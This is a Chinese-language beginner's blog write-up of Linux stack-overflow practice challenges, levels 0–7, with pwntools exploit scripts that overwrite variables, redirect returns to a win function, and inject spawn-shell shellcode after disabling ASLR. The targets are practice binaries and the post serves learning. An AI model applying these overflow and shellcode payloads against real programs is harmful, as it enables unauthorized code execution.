[pwn] Linux栈溢出入门

做题入门=。=
菜呀,学习

level-0

aris教我checksec一下看是啥文件


-w592

32位的打开32位的ida
主程序


-w657

ebp是栈底指针 esp是栈顶指针
好奇为啥栈底指针在最高的地方

  • aris说是为了最大化利用空间(懵逼)
    学习一下栈的知识

只要覆盖0x44个字节把 v5覆盖了就行

# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

payload = "A" * 0x44
cn.sendline(payload)

cn.readline()

gdb 调试一下


image

可以看到已经被覆盖了

level-1

-w551

checksec 一下 发现是32位的

打开ida


-w674

只要把v5的值覆盖成1633837924就行了
转成16进制


-w407

0x61626364
用pwntools的时候会跳不出argc

aris说就跟sys.argv 一样需要给参数
看来只能手输入了


-w735

这里刚刚好覆盖到
换成61626364就好了
-w732

因为是小端的所以是反的
-w711

ok

level2

-w644

还是32位的一个
用ida打开
-w601

直接运行会这样
-w610

有一个getenv函数
是从系统环境中获得变量,问了一下aris
export这个命令就行

ch1p告诉我在ida里面可以用h将值变成16进制
-w210

只要把v5的值覆盖成0d0a0d0a之后就好了
小端所以是0a0d0a0d

import os

os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
os.system('./level2')

运行一下成功了


-w389

level3

放到ida看一下

-w625

主函数
-w428

还有一个win函数
应该是把v5的值改成win的入口地址
-w531

看到win的入口地址是0x08048424
把v5的值改成这个就行
需要0x40个A+0x08048424

aris教我可以用hex来查看堆栈信息
使用回车可以看后面栈的内容

可以发现我已经将v5的值改掉了


-w829
-w343

成功
脚本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level3')

payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

level4

打开ida

-w580

发现main函数只有这么点
还有一个win函数
-w463

还是要跳到这个函数
找到win函数的入口地址
看了一下s离ebp是0x40个字节
所以payload是'A'*0x40+'bbbb'+p32(0x08048424)
b是用来覆盖ebp 接下来就是返回地址
在测试的时候发现不行用gdb调试一下
-w730

发现并没有跳到我给的地址打印一下栈看一下
-w734

发现我的已经写上去了,但是地址还在后面8位
所以更改payload
A*0x48+'bbbb'+p32(0x08048424)

成功!


-w607

脚本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level4')

payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

解答

为啥往后移了8位静态分析的时候没啥问题
问了下aris


-w540

-w528

经过了与之后就比之前小了8就往后移了8位
23333
gdb是好东西

level5

打开ida


-w550

除了这个函数别的都没了
可以试着写shellcode了


image

看一下pwntools自带的shellcode只有44长度
那个字符串s的长度有48所以写进去应该没啥问题

不过首先得把ASLR的保护给关了不然写不到那个地址上
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

用gdb调试一下

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)
-w774

可以看到他已经被覆盖成功了,下一步就是shellcode


-w732

命令执行成功

level6

打开ida

-w596

main函数
看一下getpath函数
-w473

应该是从这里入手
发现不能像level5一样直接覆盖return的地址了
他做了限定前2位不能是ff
经过一天的学习=。=
通过空函数然后在return回来执行下一句return到shellcode就好了
-w788

找一个空函数 方便跳回来继续执行
就是你了0x0804850b
-w661

gdb调试一下
-w556

成功进去了
-w591

return到了我们的shellcode的位置
-w462

成功~
-w853

脚本:

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)

cn.interactive()

level7

还是和level6一样
只是getpath函数变了

-w421

就是多了一个strdup函数
上网查了一下他是从堆里面分配空间
感觉没啥用
跟上一题一样的思路找一下空函数
-w837

0x0804855b
然后写一下payload
-w731

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EF\nc')
cn.sendline(payload)

cn.interactive()

番外

当然有更屌的解法


-w867

(等我学成归来)在学习一下

参考资料

https://blog.csdn.net/sinat_31054897/article/details/82223889

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,826评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,968评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,234评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,562评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,611评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,482评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,271评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,166评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,608评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,814评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,926评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,644评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,249评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,866评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,991评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,063评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,871评论 2 354

推荐阅读更多精彩内容

  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 14,052评论 13 27
  •  好久没看过pwn题目了,写一个入门的教程顺便复习了: 1. 安装gdb-peda git clone https...
    Nevv阅读 9,043评论 0 4
  • 转自:安全课传送门 引言 经过很长一段时间在azeria-labs进行的ARM基础汇编学习,学到了很多ARM汇编的...
    勤学奋进小郎君阅读 2,115评论 0 2
  • 青春入殓 被翻烂的诗篇 陪葬了从前 年华鲜艳 被遗忘的瞬间 挥霍了夏天 记忆满满 让疼痛的爱情 扎满了房间 我却只...
    Southwooooood阅读 546评论 1 3
  • 今天下午天公作美,阳光明媚,所以就出去走了走,拍了拍照片。 一条青石板铺就的小路 一条哺育子民的母亲河 一只摇曳在...
    Shininggirl阅读 237评论 0 0